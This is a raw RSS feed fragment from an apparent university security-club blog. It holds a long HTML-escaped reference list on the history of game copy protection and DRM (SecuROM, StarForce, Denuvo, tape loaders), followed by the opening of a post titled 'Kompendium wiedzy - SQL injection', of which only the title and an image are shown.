&lt;li>&lt;a href="https://www.purepc.pl/pureretro-zx-spectrum-historia-malego-8-bitowego-giganta"target="_blank" rel="noopener">https://www.purepc.pl/pureretro-zx-spectrum-historia-malego-8-bitowego-giganta&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ckziumragowo.pl/historia-informatyki/ZX-Spectrum"target="_blank" rel="noopener">https://ckziumragowo.pl/historia-informatyki/ZX-Spectrum&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.ifixit.com/News/42453/five-weird-ways-old-games-tried-to-prevent-copying"target="_blank" rel="noopener">https://www.ifixit.com/News/42453/five-weird-ways-old-games-tried-to-prevent-copying&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mygaming.co.za/news/features/5651-anti-piracy-through-the-ages"target="_blank" rel="noopener">https://mygaming.co.za/news/features/5651-anti-piracy-through-the-ages&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Lenslok"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Lenslok&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://intarch.ac.uk/journal/issue45/2/1.html"target="_blank" rel="noopener">https://intarch.ac.uk/journal/issue45/2/1.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Fast_loader#Cassette_tapes"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Fast_loader#Cassette_tapes&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pingdom.com/blog/wacky-copy-protection-methods-from-the-good-old-days/"target="_blank" rel="noopener">https://www.pingdom.com/blog/wacky-copy-protection-methods-from-the-good-old-days/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cpcrulez.fr/applications_protect-WACCI-sweet6k.htm"target="_blank" rel="noopener">https://cpcrulez.fr/applications_protect-WACCI-sweet6k.htm&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.escapistmagazine.com/playground-piracy/"target="_blank" rel="noopener">https://www.escapistmagazine.com/playground-piracy/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://craigsretrocomputingpage.eu5.org/howtohack/commercialprotectionsys.html"target="_blank" rel="noopener">https://craigsretrocomputingpage.eu5.org/howtohack/commercialprotectionsys.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://craigsretrocomputingpage.eu5.org/smashtips/games/speedlock3.html"target="_blank" rel="noopener">https://craigsretrocomputingpage.eu5.org/smashtips/games/speedlock3.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://sinclair.wiki.zxnet.co.uk/wiki/Loading_routine_%22cores%22"target="_blank" rel="noopener">https://sinclair.wiki.zxnet.co.uk/wiki/Loading_routine_%22cores%22&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Rob_Northen_copylock"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Rob_Northen_copylock&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Amiga_Disk_File"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Amiga_Disk_File&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://retrocomputing.stackexchange.com/questions/26007/how-were-amiga-games-cracked-circa-1987"target="_blank" rel="noopener">https://retrocomputing.stackexchange.com/questions/26007/how-were-amiga-games-cracked-circa-1987&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/SafeDisc"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/SafeDisc&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/CD_and_DVD_copy_protection"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/CD_and_DVD_copy_protection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/SecuROM"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/SecuROM&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://thecybersecguru.com/backtrack/securom-encyclopedia-history-technology-controversies-rootkit-impact-2025/"target="_blank" rel="noopener">https://thecybersecguru.com/backtrack/securom-encyclopedia-history-technology-controversies-rootkit-impact-2025/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.wiki.redump.org/index.php?title=SecuROM"target="_blank" rel="noopener">http://www.wiki.redump.org/index.php?title=SecuROM&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/Blaukovitch/80_PA"target="_blank" rel="noopener">https://github.com/Blaukovitch/80_PA&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://beyondsims.com/2010/01/ea-to-settle-the-securom-class-action-lawsuit/"target="_blank" rel="noopener">https://beyondsims.com/2010/01/ea-to-settle-the-securom-class-action-lawsuit/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.museumofplay.org/blog/off-the-grid-tron-evolution-and-drm-authentication/"target="_blank" rel="noopener">https://www.museumofplay.org/blog/off-the-grid-tron-evolution-and-drm-authentication/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://consumerrights.wiki/w/SecuROM"target="_blank" rel="noopener">https://consumerrights.wiki/w/SecuROM&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/StarForce"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/StarForce&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://file.info/windows/sfdrv01_sys.html"target="_blank" rel="noopener">https://file.info/windows/sfdrv01_sys.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://glop.org/starforce/"target="_blank" rel="noopener">http://glop.org/starforce/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pcgamingwiki.com/w/index.php?title=StarForce&amp;amp;redirect=no"target="_blank" rel="noopener">https://www.pcgamingwiki.com/w/index.php?title=StarForce&amp;amp;redirect=no&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.dell.com/community/en/conversations/windows-general/dvd-drive-help/647e5eecf4ccf8a8de3588f7?commentId=647e5ef1f4ccf8a8de35e53f"target="_blank" rel="noopener">https://www.dell.com/community/en/conversations/windows-general/dvd-drive-help/647e5eecf4ccf8a8de3588f7?commentId=647e5ef1f4ccf8a8de35e53f&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.ghacks.net/2007/12/12/cd-or-dvd-drive-slow-change-it-from-pio-to-dma-mode/"target="_blank" rel="noopener">https://www.ghacks.net/2007/12/12/cd-or-dvd-drive-slow-change-it-from-pio-to-dma-mode/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://techenclave.com/t/starforce-the-uncrackable-or-is-it/59626"target="_blank" rel="noopener">https://techenclave.com/t/starforce-the-uncrackable-or-is-it/59626&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.gamespot.com/articles/ubisoft-officially-dumps-starforce/1100-6147655/"target="_blank" rel="noopener">https://www.gamespot.com/articles/ubisoft-officially-dumps-starforce/1100-6147655/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.star-force.com/solutions/games/index.php"target="_blank" rel="noopener">https://www.star-force.com/solutions/games/index.php&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.wolfire.com/blog/2010/03/DRM-can-be-effective/"target="_blank" rel="noopener">https://www.wolfire.com/blog/2010/03/DRM-can-be-effective/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Denuvo"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Denuvo&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ultimatepopculture.fandom.com/wiki/Denuvo"target="_blank" rel="noopener">https://ultimatepopculture.fandom.com/wiki/Denuvo&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pcgamingwiki.com/wiki/Denuvo"target="_blank" rel="noopener">https://www.pcgamingwiki.com/wiki/Denuvo&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://torrentfreak.com/denuvo-cracker-empress-arrested-blames-repacker-fitgirl-reddit-for-witch-hunt-210224/"target="_blank" rel="noopener">https://torrentfreak.com/denuvo-cracker-empress-arrested-blames-repacker-fitgirl-reddit-for-witch-hunt-210224/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://karnavpopat.medium.com/the-scene-the-pirates-and-the-empress-2132713836ca"target="_blank" rel="noopener">https://karnavpopat.medium.com/the-scene-the-pirates-and-the-empress-2132713836ca&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pcgamesn.com/devil-may-cry-5/dmc-5-fps"target="_blank" rel="noopener">https://www.pcgamesn.com/devil-may-cry-5/dmc-5-fps&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pcgamer.com/capcom-removes-denuvo-drm-from-devil-may-cry-5/"target="_blank" rel="noopener">https://www.pcgamer.com/capcom-removes-denuvo-drm-from-devil-may-cry-5/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.techpowerup.com/263610/devil-may-cry-5-patch-removes-denuvo-on-steam"target="_blank" rel="noopener">https://www.techpowerup.com/263610/devil-may-cry-5-patch-removes-denuvo-on-steam&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://rationalwiki.org/wiki/EMPRESS"target="_blank" rel="noopener">https://rationalwiki.org/wiki/EMPRESS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Empress_%28cracker%29"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Empress_(cracker)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pcgamesn.com/just-cause-3/we-speak-to-denuvo-whose-anti-tamper-tech-may-have-left-piracy-dead-in-the-water"target="_blank" rel="noopener">https://www.pcgamesn.com/just-cause-3/we-speak-to-denuvo-whose-anti-tamper-tech-may-have-left-piracy-dead-in-the-water&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://steamcommunity.com/app/1659420/discussions/0/5733664933461736609/?l=portuguese&amp;amp;ctp=11&amp;amp;InZcMA=rdfKRTutc"target="_blank" rel="noopener">https://steamcommunity.com/app/1659420/discussions/0/5733664933461736609/?l=portuguese&amp;amp;ctp=11&amp;amp;InZcMA=rdfKRTutc&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://consumerrights.wiki/w/Denuvo_Anti-Tamper"target="_blank" rel="noopener">https://consumerrights.wiki/w/Denuvo_Anti-Tamper&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gameinformer.com/b/news/archive/2018/04/14/drm-software-causing-performance-issues-in-pc-version-of-tekken-7-says-producer.aspx"target="_blank" rel="noopener">https://gameinformer.com/b/news/archive/2018/04/14/drm-software-causing-performance-issues-in-pc-version-of-tekken-7-says-producer.aspx&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://store.steampowered.com/"target="_blank" rel="noopener">https://store.steampowered.com/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kompendium wiedzy - SQL injection</title><link>https://whitehats.pwr.edu.pl/blog/2025-11-21-sql-injection/</link><pubDate>Fri, 21 Nov 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-11-21-sql-injection/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2025-11-21-sql-injection/background_hu_ee5415e1e37ac330.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
